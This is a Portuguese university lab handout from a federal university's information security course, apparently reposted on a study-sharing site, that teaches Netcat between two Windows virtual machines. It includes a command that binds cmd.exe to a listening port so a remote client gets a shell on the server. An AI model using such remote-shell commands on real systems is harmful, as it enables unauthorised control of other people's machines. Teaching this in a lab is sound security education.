Buscar

Tutorial - Conexao Reversa com Netcat

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 4 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Conexão Reversa com Netcat
Informações Iniciais
• Para este tutorial devem ser utilizadas duas máquinas virtuais Windows, sendo uma para 
funcionar como cliente e outra para funcionar como servidor.
Passo 1: Baixar Programas Necessários
Realize o download do Netcat (netcat111.zip) a partir do ambiente de nossa disciplina 
no Moodle.
 
Passo 2: Instalar Netcat
Descompactar o arquivo netcat111.zip e executar o seguinte comando:
C:\> nc -h
1/4
Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Passo 3: Executar Netcat como Servidor
Execute o comando abaixo na máquina Windows que servirá como servidor. Este 
irá permitir ao Netcat “ouvir” a porta 777.
C:\> nc -v -l -p 777
Passo 4: Executar o Netcat como Cliente
Realize a instalação do Netcat em outra máquina Windows (cliente) e, então, 
execute o comando abaixo, considerando as devidas adaptações:
C:\>nc -v <IP DO SERVIDOR> 777
Logo após, um resultado semelhante àquele apresentado pela figura abaixo será 
exibido na tela da máquina cliente:
Na máquina servidora, por sua vez, será exibido um resultado equivalente ao 
apresentado a seguir:
2/4
Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Passo 5: Executar um Comando com Conexão Reversa
Na máquina servidora, realize um Ctrl+C e encerre a conexão estabelecida no passo 
anterior. Logo após, coloque o servidor para funcionar novamente através do comando 
abaixo:
C:\>nc -v -l -p 777 -e cmd.exe
3/4
Universidade Federal de Goiás
Instituto de Informática 
Segurança em Sistemas de Informação
William D. Ferreira
Em seguida, digite, na máquina cliente, o comando abaixo a fim de se estabelecer 
uma conexão reversa e executar um comando no servidor:
C:\>nc -v <IP DO SERVIDOR> 777
Tendo digitado o comando acima, uma tela semelhante àquela abaixo será exibida no 
cliente:
Isso feito, o shell exibido na máquina cliente será, na verdade, pertencente à máquina 
servidora e, portanto, todos os comando digitados nele serão executados no servidor.
Por fim, no servidor, será exibida uma tela semelhante àquela trazida a seguir:
4/4

Outros materiais